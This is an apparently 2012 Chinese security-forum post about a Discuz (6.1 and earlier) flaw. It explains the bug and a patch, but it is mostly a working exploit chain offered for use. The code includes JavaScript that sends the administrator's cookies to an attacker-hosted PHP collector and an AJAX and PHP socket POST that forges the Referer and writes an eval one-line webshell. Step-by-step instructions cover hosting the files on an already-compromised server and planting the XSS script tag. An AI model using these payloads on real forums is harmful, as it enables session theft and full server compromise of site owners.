找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3549|回复: 0
打印 上一主题 下一主题

Discuz XSS得webshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:11:49 | 显示全部楼层 回帖奖励 |倒序浏览 |阅读模式
Discuz XSS得webshell
9 k, S+ p. p# L( |By racle @tian6.com
) z! ~3 `2 b& x6 ^欢迎转帖.但请保留版权信息.
  D" g" R3 D: v) _/ K' k$ T受影响版本iscuz<=6.1.0,gbk+utf+big5; M( f0 B0 Q* Y) m+ S3 L1 Y+ f6 L
, ?/ e2 a9 X; K$ P( |% ?
新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效./ Y, X8 f( c8 f2 N5 j# F6 Y8 E
0 M# G! q+ n: |! G

+ \% I3 L" j' F2 j' y3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=8706( D6 o, Y" S8 |+ C: c) e! y
当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.+ g5 [6 j: T! x

2 z8 ]4 @4 k0 c9 j4 T/ U  ?4 E分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等..0 P# V* H. T9 p' W1 d. I
本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS
3 Z% Q) {! g7 N" l: P- B0 ?" i9 v. f& u3 |6 N5 {

- L6 h* b+ b8 b  A% D9 R# l$ M2 ]----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------
2 @! N( D( z" N" b* F4 |/ o+ K* g
* L" z2 f* C  J& h! W# F6 }1 Y) _
% W' I+ F7 n8 E3 n; g. h  K4 Wproblem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交./ b% p! r8 a8 Z: H" I
' h4 \% \' h1 d7 Q2 s6 W
problem2ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer./ p$ `; A' `, j0 \! H/ F5 v

% x4 z/ v. p& ?% ^  R- Tproblem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的., V) j! ]9 y6 c+ S

/ {3 m' P- ~- ?( e! o7 W: f- f  T* a
0 A4 v* F4 E5 Q* [下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {
1 U  C/ w' ]+ Q8 s) b, s3 \( p, x8 h) Y
        global $runwizardfile, $runwizardhistory;/ c5 b" O8 Z- p" B) M' o
! J- d. O4 U$ }$ m6 `& X' }/ J- H9 q) @* U
        $fp = fopen($runwizardfile, 'w');9 C8 a' q2 |" m: q5 f
- C, M2 q/ u2 E) |
        fwrite($fp, serialize($runwizardhistory));. ^7 U/ e5 J. y' i; w, D! A" f4 P$ a
$ S$ A: K# R: D+ ^- D% i% D
        fclose($fp);# N' H$ l0 b2 e. B- M& Q
* C2 c! t) ], E0 I$ v0 U0 v' O% {/ ]
}) N, O4 R; M( h0 p
复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里.
( u* E7 h2 i9 i* u; W* k以下是修补的办法:function saverunwizardhistory() {
  |9 @. F/ a8 V1 Y: z* T7 i9 e8 f7 z* @$ A
        global $runwizardfile, $runwizardhistory;
* L# z/ L' T1 ]' L
  f! N# ?/ W# p9 d! u        $fp = fopen($runwizardfile, 'w');
# Y- g" g$ ~. y: C+ D3 u8 B1 }8 C% N; A; I/ |; n
        $s = '<?php exit;?>';' O- s; d4 @- P( _: ~% a9 \+ \

" _5 o9 o1 T1 P9 n7 s. R/ S        $s .= serialize($runwizardhistory);# }3 g# J! ]( [( i, o# G

9 r' _1 D+ d9 D/ H- M' m        fwrite($fp, $s);; u# g4 R: `. a( e: A4 H6 z4 j$ Y0 p" w

1 P1 V1 Y1 K5 n/ @6 }        fclose($fp);& k8 A: }: a# \- B
! o8 I! f: D% C6 R/ [
}9 l# y  q$ l) }% _
复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.
1 F4 t4 r$ ]1 c) q, M5 ^7 x+ e0 P" t" J+ p$ e1 p. Y
' G$ Q9 d$ n4 n; B8 e

: a, S: [# j, c3 G9 s0 N2 G. I. b----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------  u) k2 X$ V" c$ \; F( u

$ T6 _- E* Q- ~( X& h2 _* p5 p  G8 ^% k6 t& Q+ [3 H( L& ~
  以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.  e/ {8 i9 g, v" p7 l+ s
) c( g! Q; {8 G0 {6 t
我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.
4 g# G) l/ I2 D8 }% O# b# l  }+ t# \% m* B
这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.0 j9 q! @! i3 K9 i
# v6 M* o) R7 i2 W
首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:  L9 R" A/ m6 a# R
- U7 X/ j+ R/ k
var url="http://目标网站/admincp.php";      
5 D6 L* X2 n% c, z) s# Q3 R9 I3 ^/ |2 G
/*获得cookies*/! S- O* c( ~4 g% y2 L# j
0 r) r6 w0 K/ ^$ s
function getURL(s) {9 `, ^0 d# |" a( U' z1 g0 {8 I# x
: o( {4 o% F( w. i
var image = new Image();
. z4 H2 t4 c- i! M0 N9 I) y& O' X% e! Q7 s' o# R) _8 c2 l- P! |
image.style.width = 0;
# |+ [2 ?' M- O6 |9 B; m3 q8 o1 C6 s* |6 H) z3 X' ?
image.style.height = 0;4 k' b3 [* X: E& v4 P% i
: q% O9 \6 M- `
image.src = s;
' m: j+ P% T2 a2 K# U  A2 n; I1 E% V. ^7 {* B1 C
}& N# n, h/ E) K$ b2 t

3 h- W( ]% h: I  w+ ~9 ^getURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie));  //这里就通过image变量传给了php
. N+ P6 J7 W3 S1 w3 ?/ k# }复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];+ s6 e- a+ R3 y/ r/ c4 y" O7 I
复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵)
# ?) n9 l4 ^8 R+ d8 I
9 l$ G. _0 F: @1 V
3 F' a# d; x' \9 b' `获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";
* T! u3 P" v8 Y+ n. C% D- B9 ^- v2 p% @2 W! z$ c( s
$ q$ E, b+ X, L2 x3 F
" @) {8 C1 N7 |! k5 S7 B/ H- j
/*hash*/; {' [3 w& }, b

0 a# L  c4 a+ z, r2 N- Nvar xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");
* T+ m; r* r. z4 s
( r$ O: e) b( H: @5 \' h2 n1 axmlHttpReq.open("GET", url+"admincp.php?action=home", false);
3 y. Q! {. Z6 `5 L: R0 Y* U$ f5 r  S/ R! z  e
xmlHttpReq.send();0 T9 A& J5 E  w* G. Z

( x* S3 p5 Z4 K% {2 O) Dvar resource = xmlHttpReq.responseText;8 {- Q1 a1 O; z7 A( Y

; @, [$ H5 F) N$ C. ?# uvar numero = resource.search(/formhash/);- R' C$ X6 U5 j+ ]" w1 ~7 K
" b" Z% j/ y. w. r+ g/ y' {6 y% [
var formhash=encodeURIComponent(resource.substr(numero+17,8));; {$ n5 v% C" T8 ]

) f& \+ N7 B. H! h) l' W: d+ E- }; N

* C4 ?% r4 }) l* P: L9 w% J4 S9 U. mvar post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据 6 E" i( a3 C, t6 R% C" E: I
, F. _8 g5 h* v# i+ \
xmlHttpReq.open("OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信
% V1 t6 \& L) o9 |' r4 H# l7 O# H, |# O5 F8 Q0 c: a7 O# `
xmlHttpReq.setRequestHeader("Referer", url);' R: g; N7 a( _5 J+ s, s5 b
0 J0 K8 m: M7 Z$ o: K, y, ~2 F
xmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");4 D4 L$ \  n7 s

9 Q! z' W2 S, g* q# g$ fxmlHttpReq.setrequestheader("content-length",post.length);
8 q+ J  V  T9 n" k; i; `5 S' C" D9 S  K2 h2 l4 P, M9 c# I
xmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded"); ! N5 M- @$ w, z. G
% `" d* l  n' d
xmlHttpReq.send(post);//发送数据
( x# l  v3 u; F: n3 \复制代码这里HASH我假设正确,这样提交,也无须cookies! B6 F9 h; j3 E7 f! _# W
) a8 A  y) n8 z* [5 G1 l7 ^
再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);2 T- Z8 Y6 V& \* W% U
2 `! S! M, @3 W0 `' u- v% \" O1 \$ P
if (!$sock) die("$errstr ($errno)\n");0 F' q( g1 G0 s( q+ T& w
& \6 ^; I) B$ ~6 P: ?+ v1 p9 d
$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';
1 n& e; W6 F" m& a1 ?. c. J
* d3 z9 h1 M2 ]0 r
0 A( a. N: l9 I3 b" b, |# F; D% {8 O, H& @) a3 r, ^' g4 g
fwrite($sock, "OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");, V& I* X6 o1 M

" S/ F* n' F6 E5 J: k  L% pfwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");+ v9 E5 m+ J1 e

8 T2 Y5 m# V& [: ^fwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");
, n9 `1 ^$ O' t* w( z9 S( z# y( l8 B1 k4 ]' E! F
fwrite($sock, "Accept-Language: zh-cn\r\n");1 c& g" v. e6 A
6 \# ^1 A6 G  P9 @$ z# d
fwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");
. {+ v, {! ^. E( N2 o0 r, t
0 v9 |) u1 _9 S7 l2 P7 I# j3 U" Ffwrite($sock, "Accept-Encoding: gzip, deflate\r\n");* @6 }$ S! X- o6 _( b- ?
/ ~4 V$ c$ r. d& h( ~  g9 H
fwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");
- K' Y* u; c4 E; Z' L& B+ E, l$ q* ?, j
fwrite($sock, "Host: $url\r\n");
% l- Q7 y* }0 E- }. f
5 l3 @/ ~4 C$ A/ P- [4 {# tfwrite($sock, "Content-Length: ".strlen($data)."\r\n");
5 Z! @- ?( _( z- |$ _* Y7 \( B4 e5 k
fwrite($sock, "Connection: Keep-Alive\r\n");" n! W* G8 R2 b  Y  t6 \# f
$ g5 e' d9 f. }' f3 A1 t4 ^
fwrite($sock, "Cache-Control: no-cache\r\n");' ]0 Z! N' v% j  L* l$ I
# G( }$ x7 m+ j: X  E
fwrite($sock, "Cookie:".$cookies."\r\n\r\n");
4 \, z: h/ q/ p6 o3 B  z7 A- s9 N6 w
fwrite($sock, $data);3 s( U) q1 C! L2 |; \

) e! g- w+ d9 S/ ^5 U4 \8 s% l* x  }
5 h7 ?6 u, i( D* S
$headers = "";
) l, Q% _  }' W" G3 g, V3 W
* l0 S# F5 M, y9 h# }, ?while ($str = trim(fgets($sock, 4096)))
8 ~6 Z. E. V% ~5 q2 r( c+ K: S4 l  W( G
     $headers .= "$str\n";; S7 `8 X6 @. o; Y1 j% `

  N* B2 H( p( j, L# iecho "\n";' [0 t( H: v$ h2 i

# M7 U! H" H# O. S. {. N: m$body = "";
; b% A! p+ p+ t0 y) R6 ~2 }
& `4 j9 C" _  @" |) q. P8 Twhile (!feof($sock)), L5 i9 G2 ?* `# W- j
$ y9 c* e# d9 K1 ~- `  H
     $body .= fgets($sock, 4096);( W5 ]2 ?; q1 z/ O! z
- C1 c+ |0 }9 r+ h
fclose($sock);3 d; {  r0 j/ w

0 W& S- }! D& ^echo $body;+ \+ ]+ \# d0 M1 K
复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^
) |& ?' d6 F5 F3 h3 [. z  w6 C) j7 g: W7 o
8 s' Z4 u2 k3 F% Q% d4 x
-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------! |5 ?9 c: k5 s  s! _! Y8 a2 ?# i8 R

4 `1 P- ?  n' `+ ~2 W
  K- f5 ]- `7 H* `5 _1HP SOCKET利用方法首先打开racle.js
, |8 K/ x" j5 E! U* b5 L" X) J
+ ^) a: [, B  P; `5 R3 l7 Uvar url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home* k$ b& B7 I) L3 l

6 S5 i! [" a' g' y, O2 Y6 L5 x4 M+ l4 A9 q* f* z
* p/ Z- u* {& a+ h
然后打开racle@tian6.php
7 ^3 j& o8 K+ R" S
8 \* t7 p6 G" E- a( ]) O$url="racle@tian6.com";   //改成你要XSS攻击的目标,譬如www.discuz.com4 T$ _1 O* x2 j' {' S

0 ~6 Y8 R3 {6 M1 C& v9 n8 r, w3 R. Y$ S2 v! ^; m% T

* c( ^4 _3 a1 v+ F: R# P$ W' e: g" w如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:4 z$ T+ B9 ]: X% Y0 Z

6 G/ d# }8 v( S/ }! ~; fgetURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));
% I5 k/ w$ V  _1 z# f5 F3 k* V/ w( J
/ H$ v- Y) u+ i. `/ O0 k
( |% a$ f4 `6 H' Q6 r- U) j; b; Z* C  k
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));5 w% C; u7 x8 s/ P
复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.
; U6 N" l9 d6 a2 y; I5 L& W. |/ M$ k' U8 _% `/ s

5 a  K) v# R+ w: V0 u4 [
- \, h6 o1 Z( e' _( w如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:+ W% e  e- P4 P8 @6 p# ?: o# n

& r, K* [9 k& n' qvar formhash=encodeURIComponent(resource.substr(numero+17,8));
  ^9 v- ]( z6 Z: j# |" _$ L6 U; ?. b9 k- R8 P; \5 U% }1 m" L

$ ^$ e! m) e4 w5 g" J$ |# `% X5 E3 R$ w5 s
var formhash=encodeURIComponent(resource.substr(numero+9,8));' s: f" t  [* J8 n
复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.
3 L% E! _2 A& }, z! v: ]- J
& N& j9 T; h- N0 v4 O+ B如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.
' r5 ^+ R  |0 T1 f9 x' x) F& l  Q$ V
如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.
" m2 P0 K- @0 \  ~9 U: L4 D8 A' r! f" w7 B  L
不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.2 L5 Q% n8 `' b5 t6 x
( P/ l& g7 i0 m( E
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表